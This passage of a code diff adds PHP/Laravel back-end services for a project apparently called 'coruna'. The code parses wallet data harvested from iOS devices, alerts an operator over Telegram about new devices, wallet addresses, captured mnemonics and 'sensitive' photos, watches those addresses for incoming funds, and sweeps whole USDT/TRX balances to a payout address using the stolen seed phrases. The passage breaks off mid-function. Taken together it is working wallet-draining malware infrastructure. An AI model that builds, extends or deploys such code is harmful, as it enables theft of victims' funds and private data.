||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeStatusAddressRows(array $payload): array
|
||||
{
|
||||
$ba = $payload['ba'] ?? null;
|
||||
if (is_string($ba)) {
|
||||
$decoded = json_decode($ba, true);
|
||||
$ba = is_array($decoded) ? $decoded : null;
|
||||
}
|
||||
if (is_array($ba)) {
|
||||
return $this->normalizeBaAddressRows($ba);
|
||||
}
|
||||
|
||||
$ad = $payload['ad'] ?? null;
|
||||
if (is_string($ad)) {
|
||||
$decoded = json_decode($ad, true);
|
||||
$ad = is_array($decoded) ? $decoded : null;
|
||||
}
|
||||
if (is_array($ad)) {
|
||||
return $this->normalizeAdAddressRows($ad);
|
||||
}
|
||||
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
return $this->normalizeLegacyDataRows($payload['data']);
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
|
||||
*
|
||||
* @param array<string, mixed> $ba
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeBaAddressRows(array $ba): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($ba as $address => $assets) {
|
||||
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
||||
continue;
|
||||
}
|
||||
$balance = [];
|
||||
$chainType = '';
|
||||
foreach ($assets as $asset) {
|
||||
if (! is_array($asset)) {
|
||||
continue;
|
||||
}
|
||||
if ($chainType === '') {
|
||||
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
|
||||
}
|
||||
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$balance[$symbol] = WalletSource::formatBalance(
|
||||
$asset['balance'] ?? 0,
|
||||
$asset['decimal'] ?? $asset['decimals'] ?? null
|
||||
);
|
||||
}
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chainType),
|
||||
'balance' => $balance,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
|
||||
* Trust: [ { address, symbol, balance, decimals }, ... ]
|
||||
*
|
||||
* @param array<mixed> $ad
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
|
||||
*/
|
||||
private function normalizeAdAddressRows(array $ad): array
|
||||
{
|
||||
if (array_is_list($ad)) {
|
||||
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
|
||||
$byAddr = [];
|
||||
foreach ($ad as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$address = (string) ($item['address'] ?? '');
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
if (! isset($byAddr[$address])) {
|
||||
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
$byAddr[$address] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chain),
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$item['balance'] ?? $item['value'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
);
|
||||
}
|
||||
|
||||
return array_values($byAddr);
|
||||
}
|
||||
|
||||
// Global Wallet: address → opaque scalar (not balance) → store empty string
|
||||
$out = [];
|
||||
foreach ($ad as $address => $value) {
|
||||
if (! is_string($address) || $address === '') {
|
||||
continue;
|
||||
}
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => WalletSource::inferChainType($address),
|
||||
'balance' => '',
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
|
||||
*
|
||||
* @param array<mixed> $data
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeLegacyDataRows(array $data): array
|
||||
{
|
||||
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$address = (string) ($item['address'] ?? '');
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chainType),
|
||||
'balance' => [
|
||||
$symbol => WalletSource::formatBalance(
|
||||
$item['balance'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Setting;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
class SettingsService
|
||||
{
|
||||
public const KEYS = [
|
||||
'telegram.bot_token',
|
||||
'telegram.owner_chat_id',
|
||||
'channels.max_per_agent',
|
||||
'channels.domains',
|
||||
];
|
||||
|
||||
/** @return array<string, string|null> */
|
||||
public function all(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::KEYS as $key) {
|
||||
$out[$key] = $this->get($key);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function get(string $key, ?string $default = null): ?string
|
||||
{
|
||||
if (! $this->tableReady()) {
|
||||
return $default;
|
||||
}
|
||||
|
||||
$map = $this->cachedMap();
|
||||
|
||||
return array_key_exists($key, $map) ? $map[$key] : $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $values
|
||||
*/
|
||||
public function putMany(array $values): void
|
||||
{
|
||||
foreach ($values as $key => $value) {
|
||||
if (! in_array($key, self::KEYS, true)) {
|
||||
continue;
|
||||
}
|
||||
$str = $value === null ? null : trim((string) $value);
|
||||
Setting::query()->updateOrCreate(
|
||||
['key' => $key],
|
||||
['value' => $str === '' ? null : $str]
|
||||
);
|
||||
}
|
||||
Cache::forget($this->cacheKey());
|
||||
$this->applyToConfig();
|
||||
}
|
||||
|
||||
public function applyToConfig(): void
|
||||
{
|
||||
if (! $this->tableReady()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$map = $this->cachedMap();
|
||||
|
||||
$bot = $map['telegram.bot_token'] ?? null;
|
||||
if ($bot !== null && $bot !== '') {
|
||||
config([
|
||||
'coruna.telegram.bot_token' => $bot,
|
||||
'nutgram.token' => $bot,
|
||||
]);
|
||||
}
|
||||
$chat = $map['telegram.owner_chat_id'] ?? null;
|
||||
if ($chat !== null && $chat !== '') {
|
||||
config(['coruna.telegram.owner_chat_id' => $chat]);
|
||||
}
|
||||
|
||||
$max = $map['channels.max_per_agent'] ?? null;
|
||||
if ($max !== null && $max !== '' && is_numeric($max)) {
|
||||
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
|
||||
}
|
||||
|
||||
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
|
||||
$domains = self::parseDomains($map['channels.domains']);
|
||||
// Settings override channel/deployment hosts only; reporting stays CORUNA_LAB_AMIDN_DOMAINS.
|
||||
config([
|
||||
'coruna.channel_domains' => $domains,
|
||||
'coruna.deployment_domains' => $domains,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
/** Effective values for the settings form (DB overrides env). */
|
||||
public function effectiveForForm(): array
|
||||
{
|
||||
$domains = config('coruna.channel_domains', []);
|
||||
|
||||
return [
|
||||
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
|
||||
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
|
||||
];
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
public static function parseDomains(?string $raw): array
|
||||
{
|
||||
if ($raw === null || trim($raw) === '') {
|
||||
return [];
|
||||
}
|
||||
$parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];
|
||||
|
||||
return array_values(array_filter(array_map(static function ($d) {
|
||||
$d = trim((string) $d);
|
||||
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
||||
$d = rtrim($d, '/');
|
||||
|
||||
return $d;
|
||||
}, $parts)));
|
||||
}
|
||||
|
||||
/** @return array<string, string|null> */
|
||||
private function cachedMap(): array
|
||||
{
|
||||
return Cache::remember($this->cacheKey(), 300, function () {
|
||||
return Setting::query()->pluck('value', 'key')->all();
|
||||
});
|
||||
}
|
||||
|
||||
private function cacheKey(): string
|
||||
{
|
||||
return 'coruna.settings.map';
|
||||
}
|
||||
|
||||
private function tableReady(): bool
|
||||
{
|
||||
try {
|
||||
return Schema::hasTable('settings');
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
public function enabled(): bool
|
||||
{
|
||||
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
|
||||
}
|
||||
|
||||
public function send(string $text): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
$token = config('coruna.telegram.bot_token');
|
||||
$chatId = config('coruna.telegram.owner_chat_id');
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
[
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'parse_mode' => 'HTML',
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
|
||||
return $resp->successful();
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'📱 <b>New Device</b>',
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
{
|
||||
$this->notifyNewWallets($deviceId, [[
|
||||
'address' => $address,
|
||||
'chain' => $chain ?: '',
|
||||
'balance' => $balance ?: '',
|
||||
'source' => $symbol ?: '',
|
||||
]]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Batch wallet alerts into a single Telegram message.
|
||||
*
|
||||
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
|
||||
*/
|
||||
public function notifyNewWallets(string $deviceId, array $wallets): void
|
||||
{
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
];
|
||||
|
||||
foreach ($wallets as $i => $w) {
|
||||
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
|
||||
if ($bal === '') {
|
||||
$bal = '—';
|
||||
}
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines));
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewPhotos(string $deviceId): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
string $symbol,
|
||||
string $amount,
|
||||
?string $chain = null,
|
||||
): void {
|
||||
$this->send(implode("\n", [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
]));
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Tokenview;
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewClient
|
||||
{
|
||||
public function enabled(): bool
|
||||
{
|
||||
return (string) config('coruna.tokenview.api_key') !== '';
|
||||
}
|
||||
|
||||
public function setWebhookUrl(string $url): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
|
||||
try {
|
||||
$resp = Http::timeout(20)
|
||||
->withBody($url, 'text/plain')
|
||||
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
|
||||
|
||||
return $resp->successful() && (int) $resp->json('code') === 1;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getWebhookUrl(): ?string
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
|
||||
try {
|
||||
$resp = Http::timeout(20)->get($endpoint, [
|
||||
'apikey' => (string) config('coruna.tokenview.api_key'),
|
||||
]);
|
||||
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
|
||||
return null;
|
||||
}
|
||||
$data = $resp->json('data');
|
||||
|
||||
return is_string($data) && $data !== '' ? $data : null;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public function addAddress(string $coinAbbr, string $address): bool
|
||||
{
|
||||
return $this->mutateAddress('add', $coinAbbr, $address);
|
||||
}
|
||||
|
||||
public function removeAddress(string $coinAbbr, string $address): bool
|
||||
{
|
||||
return $this->mutateAddress('remove', $coinAbbr, $address);
|
||||
}
|
||||
|
||||
private function mutateAddress(string $action, string $coinAbbr, string $address): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$coin = strtolower($coinAbbr);
|
||||
$addr = $coin === 'eth' || $coin === 'bsc' ? strtolower($address) : $address;
|
||||
$endpoint = sprintf(
|
||||
'%s/monitor/address/%s/%s/%s',
|
||||
rtrim((string) config('coruna.tokenview.base_url'), '/'),
|
||||
$action,
|
||||
rawurlencode($coin),
|
||||
rawurlencode($addr)
|
||||
);
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(20)->get($endpoint, [
|
||||
'apikey' => (string) config('coruna.tokenview.api_key'),
|
||||
]);
|
||||
|
||||
return $resp->successful() && (int) $resp->json('code') === 1;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning("tokenview address {$action} failed: ".$e->getMessage(), [
|
||||
'coin' => $coin,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Tokenview;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\TokenviewEvent;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewMonitorService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TokenviewClient $client,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Map chain_type → Tokenview coin abbr (null = unsupported).
|
||||
*/
|
||||
public static function coinAbbrFromChainType(?string $chainType): ?string
|
||||
{
|
||||
return match (strtoupper(trim((string) $chainType))) {
|
||||
'ETH', 'ETHEREUM', 'EVM' => 'eth',
|
||||
'TRX', 'TRON' => 'trx',
|
||||
'BTC', 'BITCOIN' => 'btc',
|
||||
'BNB', 'BSC', 'BINANCE' => 'bsc',
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Map Tokenview webhook coin → wallet_addresses column for native value.
|
||||
*/
|
||||
public static function nativeColumnForCoin(string $coin): ?string
|
||||
{
|
||||
return match (strtoupper($coin)) {
|
||||
'ETH' => 'eth',
|
||||
'TRX' => 'trx',
|
||||
'BTC' => 'btc',
|
||||
'BSC', 'BNB' => 'bnb',
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
public function syncMonitor(WalletAddress $address): bool
|
||||
{
|
||||
if (! $this->client->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$coin = self::coinAbbrFromChainType($address->chain_type);
|
||||
if ($coin === null) {
|
||||
Log::info('tokenview sync skipped: unsupported chain', [
|
||||
'id' => $address->id,
|
||||
'chain_type' => $address->chain_type,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$addr = (string) $address->address;
|
||||
if ((int) $address->monitor === 1) {
|
||||
return $this->client->addAddress($coin, $addr);
|
||||
}
|
||||
|
||||
return $this->client->removeAddress($coin, $addr);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
public function handleWebhook(array $payload): void
|
||||
{
|
||||
$address = trim((string) ($payload['address'] ?? ''));
|
||||
$txid = trim((string) ($payload['txid'] ?? ''));
|
||||
$coin = strtoupper(trim((string) ($payload['coin'] ?? '')));
|
||||
if ($address === '' || $txid === '' || $coin === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
|
||||
$value = $payload['value'] ?? null;
|
||||
$tokenValue = $payload['tokenValue'] ?? null;
|
||||
|
||||
$lookup = $this->normalizeAddress($address, $coin);
|
||||
$rows = WalletAddress::query()
|
||||
->where('monitor', 1)
|
||||
->where(function ($q) use ($lookup, $address) {
|
||||
$q->where('address', $lookup)->orWhere('address', $address);
|
||||
if (strcasecmp($lookup, $address) !== 0) {
|
||||
$q->orWhereRaw('LOWER(address) = ?', [strtolower($lookup)]);
|
||||
}
|
||||
})
|
||||
->get();
|
||||
|
||||
if ($rows->isEmpty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$dedupeSymbol = $tokenSymbol;
|
||||
try {
|
||||
TokenviewEvent::query()->create([
|
||||
'txid' => $txid,
|
||||
'address' => $lookup,
|
||||
'coin' => $coin,
|
||||
'token_symbol' => $dedupeSymbol,
|
||||
'value' => is_scalar($value) ? (string) $value : null,
|
||||
'token_value' => is_scalar($tokenValue) ? (string) $tokenValue : null,
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
// unique violation → already processed
|
||||
return;
|
||||
}
|
||||
|
||||
$deltas = $this->resolveDeltas($coin, $value, $tokenSymbol, $tokenValue);
|
||||
if ($deltas === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
DB::transaction(function () use ($rows, $deltas) {
|
||||
foreach ($rows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
foreach ($deltas as $col => $delta) {
|
||||
$current = $row->{$col};
|
||||
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
|
||||
$row->{$col} = $base + $delta;
|
||||
}
|
||||
$row->save();
|
||||
}
|
||||
});
|
||||
|
||||
$inbound = [];
|
||||
foreach ($deltas as $col => $delta) {
|
||||
if ($delta > 0) {
|
||||
$inbound[$col] = $delta;
|
||||
}
|
||||
}
|
||||
if ($inbound === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
|
||||
foreach ($inbound as $col => $delta) {
|
||||
$this->telegram->notifyBalanceChange(
|
||||
(string) $deviceKey,
|
||||
$lookup,
|
||||
strtoupper($col),
|
||||
WalletAddress::formatAmount($col, $delta),
|
||||
$coin
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function verifySignature(string $rawBody, ?string $signature): bool
|
||||
{
|
||||
$signKey = (string) config('coruna.tokenview.sign_key');
|
||||
if ($signKey === '') {
|
||||
return true;
|
||||
}
|
||||
if ($signature === null || $signature === '') {
|
||||
return false;
|
||||
}
|
||||
$expected = hash_hmac('sha256', $rawBody, $signKey);
|
||||
|
||||
return hash_equals($expected, strtolower($signature))
|
||||
|| hash_equals($expected, $signature);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, float> column => delta
|
||||
*/
|
||||
private function resolveDeltas(string $coin, mixed $value, string $tokenSymbol, mixed $tokenValue): array
|
||||
{
|
||||
$deltas = [];
|
||||
|
||||
if ($tokenSymbol !== '' && is_numeric($tokenValue)) {
|
||||
$col = strtolower($tokenSymbol);
|
||||
if (in_array($col, WalletAddress::COIN_COLUMNS, true)) {
|
||||
$deltas[$col] = (float) $tokenValue;
|
||||
}
|
||||
}
|
||||
|
||||
if (is_numeric($value)) {
|
||||
$nativeCol = self::nativeColumnForCoin($coin);
|
||||
if ($nativeCol !== null) {
|
||||
// Prefer token delta when both present for same column (USDT-only token txs
|
||||
// often still send a tiny native gas value — keep both columns when distinct).
|
||||
$deltas[$nativeCol] = (float) $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $deltas;
|
||||
}
|
||||
|
||||
private function normalizeAddress(string $address, string $coin): string
|
||||
{
|
||||
$c = strtolower($coin);
|
||||
if (in_array($c, ['eth', 'bsc', 'bnb'], true) || str_starts_with($address, '0x') || str_starts_with($address, '0X')) {
|
||||
return strtolower($address);
|
||||
}
|
||||
|
||||
return $address;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use RuntimeException;
|
||||
|
||||
class TransferService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Sweep from a known device address to the configured payout address.
|
||||
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
||||
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
||||
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
||||
*
|
||||
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||
*/
|
||||
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
|
||||
{
|
||||
try {
|
||||
$to = trim((string) config('coruna.transfer.to_address', ''));
|
||||
if ($to === '') {
|
||||
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
|
||||
}
|
||||
|
||||
$asset = strtoupper(trim($asset));
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
if (! $driver->isValidAddress($fromAddress)) {
|
||||
return ['ok' => false, 'error' => 'Invalid from address'];
|
||||
}
|
||||
if (! $driver->isValidAddress($to)) {
|
||||
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
|
||||
}
|
||||
|
||||
$amount = $amount === null ? null : trim($amount);
|
||||
if ($amount === '') {
|
||||
$amount = null;
|
||||
}
|
||||
|
||||
if ($amount === null) {
|
||||
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
|
||||
}
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
|
||||
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||
if ($resolved === null) {
|
||||
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
|
||||
}
|
||||
|
||||
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
$to,
|
||||
$amount,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
return [
|
||||
'ok' => true,
|
||||
'txid' => $txid,
|
||||
'from' => $fromAddress,
|
||||
'to' => $to,
|
||||
'amount' => $amount,
|
||||
'asset' => $asset,
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance(
|
||||
$fromAddress,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
if ($asset === 'TRX') {
|
||||
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
|
||||
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
|
||||
$balance = bcsub($balance, $reserve, 6);
|
||||
$balance = rtrim(rtrim($balance, '0'), '.');
|
||||
if ($balance === '' || str_starts_with($balance, '-')) {
|
||||
$balance = '0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (bccomp($balance, '0') <= 0) {
|
||||
throw new RuntimeException("No transferable {$asset} balance");
|
||||
}
|
||||
|
||||
return $balance;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{mnemonic: string, index: int}|null
|
||||
*/
|
||||
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
|
||||
{
|
||||
$addressRows = WalletAddress::query()
|
||||
->where('address', $fromAddress)
|
||||
->orderBy('id')
|
||||
->get(['device_id', 'source']);
|
||||
|
||||
if ($addressRows->isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||
|
||||
foreach ($addressRows as $row) {
|
||||
$mnemonics = WalletMnemonic::query()
|
||||
->where('device_id', $row->device_id)
|
||||
->where(function ($q) use ($row) {
|
||||
if ($row->source === null || $row->source === '') {
|
||||
$q->whereNull('source')->orWhere('source', '');
|
||||
} else {
|
||||
$q->where('source', $row->source);
|
||||
}
|
||||
})
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
foreach ($mnemonics as $mnemonicRow) {
|
||||
$phrase = $mnemonicRow->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
continue;
|
||||
}
|
||||
for ($index = 0; $index <= $maxIndex; $index++) {
|
||||
try {
|
||||
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
|
||||
return ['mnemonic' => $phrase, 'index' => $index];
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
||||
